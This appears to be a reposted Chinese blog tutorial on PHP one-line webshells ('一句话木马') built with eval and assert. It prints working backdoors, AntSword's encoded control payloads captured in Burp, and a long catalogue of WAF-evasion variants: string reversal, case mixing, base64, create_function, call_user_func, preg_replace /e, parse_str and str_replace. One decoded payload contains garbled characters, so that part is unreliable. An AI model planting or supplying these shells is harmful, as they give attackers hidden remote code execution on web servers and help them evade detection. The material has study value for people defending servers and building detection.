eval与assert一句话木马分析 严正声明:本文仅限于技术讨论,严禁用于其他用途。 文章目录 eval与assert一句话木马分析前言一、eval定义和用法二、assert的定义与用法三、
严正声明:本文仅限于技术讨论,严禁用于其他用途。
实验环境
服务器环境搭建以及管理工具:PHPstudy 8.1.1.3 版本
php版本:5.5.9
eval() 函数把字符串按照 PHP 代码来计算(计算=执行)。
该字符串必须是合法的 PHP 代码,且必须以分号结尾。
如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false
返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用
【示例】下面使用可变函数来调用不同的函数,并输出不同的语句。
function website(){ echo 'C语言中文网
'; } function url($str = ''){ echo $str.'
'; } function title($string){ echo $string; } $funcname = 'website'; $funcname(); $funcname = 'url'; $funcname('Http://c.biancheng.net/php/'); $funcname = 'title'; $string = 'PHP 教程'; $funcname($string);?>
运行结果如下:
C语言中文网http://c.biancheng.net/php/PHP 教程
可变函数参考文章:PHP可变函数 (biancheng.net)
print
,unset(),isset(),empty(),include,require等语言结构不能被可变函数调用。以代码为例:
案例一:
print
属于不能被可变函数调用的那一类,print_r
属于能被可变函数调用的那一类。 $a = 'print'; $a('print 不能被可变函数调用
'); $b = 'print_r'; $b('print_r 能被可变函数调用
');
运行结果:
案例二:
eval
属于不能被可变函数调用的那一类,assert
属于能被可变函数调用的那一类。 $c = 'eval'; $c(phpinfo()); $d = 'assert'; $d(phpinfo());
运行结果:
利用方法:
工作原理:
php一句话木马分析:
@eval($_POST['shell']);?>
@表示后面即使执行错误,也不报错。eval()函数表示括号内的语句字符串什么的全都当做代码执行。$_POST[‘shell’]表示shell的取值为HTTP的POST方式。即通过eval()函数执行shell里面的内容,并且不报错。
一般的php一句话后门很容易被网站防火墙waf拦截,而waf通常通过判断关键字来辨别一句话木马,要想绕过waf就需要对木马进行一些变形。
POST传参
$_POST['1']($_POST['2']);?>
post传入参数 1=assert&2=phpinfo();
phpinfo()被执行,证明木马可用
使用burpsuit抓包
POST /test.php HTTP/1.1Host: 127.0.0.1:91Accept-Encoding: gzip, deflateUser-Agent: Opera/12.0(windows NT 5.1;U;en)Presto/22.9.168 Version/12.00Content-Type: application/x-www-fORM-urlencodedContent-Length: 1520Connection: close1=assert&2=eval(%24_POST%5B'shell'%5D)&shell=%40ini_set(%22display_errors%22%2C%20%220%22)%3B%40set_time_limit(0)%3B%24opdir%3D%40ini_get(%22open_basedir%22)%3Bif(%24opdir)%20%7B%24oparr%3Dpreg_split(%22%2F%5C%5C%5C%5C%7C%5C%2F%2F%22%2C%24opdir)%3B%24ocwd%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3B%24tmdir%3D%22.9d3d1a5838%22%3B%40mkdir(%24tmdir)%3B%40chdir(%24tmdir)%3B%40ini_set(%22open_basedir%22%2C%22..%22)%3Bfor(%24i%3D0%3B%24i%3Csizeof(%24oparr)%3B%24i%2B%2B)%7B%40chdir(%22..%22)%3B%7D%40ini_set(%22open_basedir%22%2C%22%2F%22)%3B%40rmdir(%24ocwd.%22%2F%22.%24tmdir)%3B%7D%3Bfunction%20asenc(%24out)%7Breturn%20%24out%3B%7D%3Bfunction%20asoutput()%7B%24output%3Dob_get_contents()%3Bob_end_clean()%3Becho%20%224786%22.%2237db%22%3Becho%20%40asenc(%24output)%3Becho%20%2220%22.%22bc8%22%3B%7Dob_start()%3Btry%7B%24D%3Ddirname(%24_SERVER%5B%22SCRIPT_FILENAME%22%5D)%3Bif(%24D%3D%3D%22%22)%24D%3Ddirname(%24_SERVER%5B%22PATH_TRANSLATED%22%5D)%3B%24R%3D%22%7B%24D%7D%09%22%3Bif(substr(%24D%2C0%2C1)!%3D%22%2F%22)%7Bforeach(range(%22C%22%2C%22Z%22)as%20%24L)if(is_dir(%22%7B%24L%7D%3A%22))%24R.%3D%22%7B%24L%7D%3A%22%3B%7Delse%7B%24R.%3D%22%2F%22%3B%7D%24R.%3D%22%09%22%3B%24u%3D(function_exists(%22posix_getegid%22))%3F%40posix_getpwuid(%40posix_geteuid())%3A%22%22%3B%24s%3D(%24u)%3F%24u%5B%22name%22%5D%3A%40get_current_user()%3B%24R.%3Dphp_uname()%3B%24R.%3D%22%09%7B%24s%7D%22%3Becho%20%24R%3B%3B%7Dcatch(Exception%20%24e)%7Becho%20%22ERROR%3A%2F%2F%22.%24e-%3EgetMessage()%3B%7D%3Basoutput()%3Bdie()%3B
将POST传输内容部分url解码得到以下内容:
1=assert&2=eval($_POST['shell'])&shell=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$oparr=preg_split("/\\\\|\//",$opdir);$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$tmdir=".9d3d1a5838";@mkdir($tmdir);@chdir($tmdir);@ini_set("open_basedir","..");for($i=0;$igetMessage();};asoutput();die();
分析
1=assert&2=eval($_POST['shell'])
这部分代码与 $_POST['1']($_POST['2']);
构成了一句话木马。等价于下列的代码:
assert(eval($_POST['shell']));
通过shell
这个自己设立的变量传递参数,eval()会执行shell中参数的内容。你也可以不使用shell
这个词,可以将 shell 改为 hello
,与此同时连接密码也要改为 hello
。
shell=@ini_set("display_errors","0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) ...(省略)...
就是蚁剑通过shell参数传递的参数内容,传递的这些参数是蚁剑能够控制后台的核心代码。
使用burpsuit抓包:
POST /test.php HTTP/1.1Host: 127.0.0.1:91Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0Content-Type: application/x-www-form-urlencodedContent-Length: 1383Connection: close1=assert&2=%40eval(%40base64_decode(%24_POST%5B'j4bb8284d9c8fd'%5D))%3B&j4bb8284d9c8fd=QGluaV9zZXQoImrpc3BsYXlfZXJyb3JzIiwgIjaiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb3BhcnI9cHJlZ19zcGxpdCgiL1xcXFx8XC8vIiwkb3BkaXIpOyRvY3dkPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSjdkTskdG1kaXI9Ii4wM2QwMTliNjAzZCI7QG1rZGlyKCR0bWRpcik7QGNoZGlyKCR0bWRpcik7QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsIi4uIik7Zm9yKCRpPTA7JGk8c2l6ZW9mKCRvcGFycik7JGkrKyl7QGNoZGlyKCIuLiIpO31AaW5pX3NldCgib3Blbl9iYXNlZGlyIiwiLyIpO0BybWRpcigkb2N3ZC4iLyIuJHRtZGlyKTt9O2Z1bmN0aW9uIGFzZW5jKCRvdXQpe3JldHVybiAkb3V0O307ZnVuY3Rpb24gYXNvdXRwdXQoKXskb3V0cHV0PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2VjaG8gIjU1Mjc1Ii4iYTA4Y2MiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gImMxNzlkNCIuIjQzN2Q5OSI7fW9iX3N0YXJ0KCk7dHJ5eyREPWRpcm5hbWUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKTtpZigkRD09IiIpJEQ9ZGlybmFtZSgkX1NFUlZFUlsiUEFUSF9UUkFOU0xBVEVEIl0pOyRSPSJ7JER9CSI7aWYoc3Vic3RyKCRELDAsMSkhPSIvIil7Zm9yZWFjaChyYW5nZSgiQyIsIloiKWFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9ZWxzZXskUi49Ii8iO30kUi49IgkiOyR1PShmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldGVnaWQiKSk%2FQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOiIiOyRzPSgkdSk%2FJHVbIm5hbWUiXTpAZ2V0X2N1cnJlbnRfdXNlcigpOyRSLj1waHBfdW5hbWUoKTskUi49Igl7JHN9IjtlY2hvICRSOzt9Y2F0Y2GoRXhjZXB0aW9uICRlKXtlY2hvICJFUlJPUjovLyIuJGUtPmdldE1lc3NhZ2UoKTt9O2Fzb3V0cHV0KCk7ZGllKCk7
将POST传输内容部分进行url 和 base64解码得到以下内容:
1=assert&2=@eval(@base64_decode($_POST['j4bb8284d9c8fd']));&j4bb8284d9c8fd=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$oparr=preg_split("/\\\\|\//",$opdir);$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$tmdir=".03d019b603d";@mkdir($tmdir);@chdir($tmdir);@ini_set("open_basedir","..");for($i=0;$i豑?梾鰒WGwV朆??梾鰒WFWV朆倰摙"#睪3覀GR擁?u["name"]:@get_current_user();$R.=php_uname();$R.="{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();
分析:
蚁剑在连接密码的基础上添加了eval语句,并且对传输的变量j4bb8284d9c8fd
进行了base64编码,当php执行j4bb8284d9c8fd
里面携带的代码时,蚁剑即可获取和控制整个网站目录。
1=eval&2
这种形式呢?我们先不讨论原因,看看这样执行的效果,可以看到这样执行以后,php报错了。
原因是因为 eval 不能被可变函数调用,具体原因在上面的 问2:为什么eval不能被可变函数调用?
已经解释了,这里就不作过多的解释了。
php变量
$a = "assert";$a(@$_POST['shell']); ?>
第三行使用了变量函数$a,变量储存了函数名asse,便可以直接用变量替代函数名。
php变量简单变形1
$a="TR"."Es"."sA"; $b=strtolower($a); $c=strrev($b); @$c($_POST['shell']); ?>
使用字符串拼接、大小写混淆、字符串逆序组合而成
php变量简单变形2
$a="AssERT"; $b=strtolower($a); @$b($_POST['shell']); ?>
使用大小写混淆配合字符串转小写函数strtolower组合而成
PHP可变变量
$bb="assert";$a='bb';${$a}($_POST['shell']);?>
以上代码可表示为$$aa = $($aa) = $ (‘bb’) = $bb = "assert"
自定义函数
function fun($a){ @eval($a); } @fun($_POST['shell']); ?>
使用function自定义函数,然后函数来调用eval函数
create_function函数
$fun = create_function('',$_POST['shell']);$fun();?>
创建了一个匿名函数,并返回了一个独一无二的函数名,然后再调用此函数
call_user_func()函数
@call_user_func(assert,$_POST['shell']);?>
call_user_func()函数的第一个参数是被调动的函数,剩下的参数(可有多个参数)是被调用函数的参数
base64_decode 函数
$a=base64_decode("YXNzZXJ0"); @a($_POST['shell']); ?>
YXNzZXJ0
是assert的base64编码,base64_decode()
是base64解密函数
preg_replace函数
function fun(){ return $_POST['shell']; } @preg_replace("/test/e", fun(), "test123"); ?>
preg_replace
函数一个参数是一个正则表达式,按照 php的格式,表达式在两个/之间,如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。
pares_str函数
$str="a=assert";parse_str($str);$a($_POST['shell']);?>
执行pares_str函数后可以生成一个名为$a,值为"eval"的变量。
str_replace函数
$a = str_replace("test", "", "astestsert");$a($_POST['shell']);?>
此函数用于将第三个参数中的第一个参数替换为第二个参数
以上的POST也可替换成GET,但同时shell的传递方式也要改为GET形式,在使用一句话木马时,也可以在前面加一个@来屏蔽错误,增加其隐蔽性。
一句话木马的多种变形原文参考链接:浅谈php一句话木马 - linuxsec - 博客园 (cnblogs.com)
来源地址:https://blog.csdn.net/weixin_49472648/article/details/125945514
--结束END--
本文标题: eval与assert一句话木马分析
本文链接: https://lsjlt.com/news/391246.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0